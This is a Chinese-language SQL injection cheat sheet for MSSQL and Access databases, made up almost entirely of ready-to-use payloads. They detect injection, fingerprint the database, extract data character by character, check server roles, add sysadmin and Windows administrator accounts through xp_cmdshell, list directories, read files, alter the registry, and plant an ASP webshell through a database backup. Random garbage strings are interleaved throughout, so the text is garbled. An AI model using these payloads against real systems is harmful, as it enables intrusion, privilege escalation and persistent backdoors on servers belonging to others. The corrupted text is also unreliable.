1.判断是否有注入;and 1=1 ;and 1=2 $ niG)@*
2.初步判断是否是mssql ;and user>0 g\% Z+Dc
bFIM07
3.注入参数是字符'and [查询条件] and ''=' 9{wRqY
[=BccT:b
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,g pZz$Ef(
rJ)j./c
5.判断数据库系统 fDwK5?
Zz1nXUZ
;and (select count(*) from sysobjects)>0 mssql vSu
dT
u4h0s1iI
;and (select count(*) from msysobjects)>0 access ^)y8X.iO
Yb=77(QV
*4ido?
rQxiG[0
6.猜数据库 ;and (select Count(*) from [数据库名])>0 "<"m}rE?Q
e }Mf
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 r7,}"Pl
e\em;GTy
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 B<Q)z5KK
0NeIQr1N_
9.(1)猜字段的ascii值(access) <D[0mi0
uGv|!UQw
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ]"&](e6*
Mg~4) DW]
(2)猜字段的ascii值(mssql) yQ)&u+r
rz0)S
py6
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 B[I9<4}
[j}JCmWY
10.测试权限结构(mssql) =EYWiK77a
z2>LjM)
#
[l3ys
57~y 7/ 0
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Ptc+ypTu
-&COI-P8
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- XEnu0gr
aeISb83Y |
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }T0O~c{$i
8t3m$<7
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- <.mH-Y5i
9Ta0Li
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- dU#-;/}o
n)~*BpL3
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- q)mG6Su
d
`BQv;NtP
;and 1=(select IS_MEMBER('db_owner'));-- Z\$M)e8n
u&w})`+u5
"M, 1ElQ
$~S~pvT
11.添加mssql和系统的帐户 .faf!3d
Y
hQ)M5
;exec master.dbo.sp_addlogin username;-- ruQt0q,W3%
;exec master.dbo.sp_password null,username,password;-- 8qqN0"{,
vTgx7gP
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- x_/}R3d
lXg5UrW
;exec master.dbo.xp_cmdshell 'net user username password tYXE$i
xbBqR_H_
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- cGiL9|k
5f{P% x(
;exec master.dbo.xp_cmdshell 'net user username password /add';-- :\vs kk),
|{&M#qXe
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- n>?D-)g
+SR{FF
S3:AitGJ
d=n@#|3
12.(1)遍历目录 Kv(R|d6Lp
n m<?oI*\
;create table dirs(paths varchar(100), id int) ~ ;LzTL
'f!U[Qatg
;insert dirs exec master.dbo.xp_dirtree 'c:\' .%s
U)$bH
~ney~Pz_
;and (select top 1 paths from dirs)>0 x ZP*%yM
f4fBUZ^ A
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) f-G)pHm
'L7qf'RV
SIV !8mz
'S1u@p,q
(2)遍历目录 G[\TbPh
#]x3(}3W
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- VJ=>2'I
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Km;}xke6
~\mh\a&
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 i1|>JM[V
+4.s4&f)
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 #D4
{BmqUoZrC
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 !uQT4<g
4/Y?e UQ
Lxwi"ndP
|82q|@e
13.mssql中的存储过程 ly-(F2
W;'fAohr
xp_regenumvalues 注册表根键, 子键 E?G'F3i
{YgU23;q
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 iCPm7AU
U\p`YZ
xp_regread 根键,子键,键值名 MzD1sWmK
u0h%4f!X
;exec xp_regread Td'Mc-/
RbX9PF"|+
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 cvaG[NF
l[Z o,4*
xp_regwrite 根键,子键, 值名, 值类型, 值 R(d<PlZ
]*#i_dho7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 >!t3~q1Cn
_6nAxm&x`%
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 u<Kowt<ci
UPI- j#yc
xp_regdeletevalue 根键,子键,值名 "5&"Ij,/
^o{{kju
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 /@F'f@;
<NMJkl-r8r
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 v-tI`Qpb
SO=gG 2E
xgcxA:
Cgx:6TRS
14.mssql的backup创建webshell b^VRpv
nwU],{(Hgr
use model byxlC?q7
[ ,;e,ld
create table cmd(str image); ]~aj
\ZZ6r^99
insert into cmd(str) values (''); 5c` ;~
. vb##D
backup database model to disk='c:\l.asp'; -N*[f9EJB
$6a9<&LP_
zr/v .$<
Y"H`+UV
15.mssql内置函数 1zPS#K/3
@."K"i'Bl
;and (select @@version)>0 获得Windows的版本号 w.q`E@ T*
hzsQK_;S
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2y
-
QH
&VGV0K3Dp
;and (select user_name())>0 爆当前系统的连接用户 uu.X>agg
a+E
8s7C/D
;and (select db_name())>0 得到当前连接的数据库 ~_fc=^o
wa8jr5/k"
a9-Mc5^'n
NPK;
16.简洁的webshell A0<g8pv
$@L;j
use model qWhW4$7x
l+9RPJD/:
create table cmd(str image); DyN[Yp|V
X"!j_*&ED
insert into cmd(str) values (''); Sb[>R(0:
k24I1DlR8
backup database model to disk='g:\wwwtest\l.asp';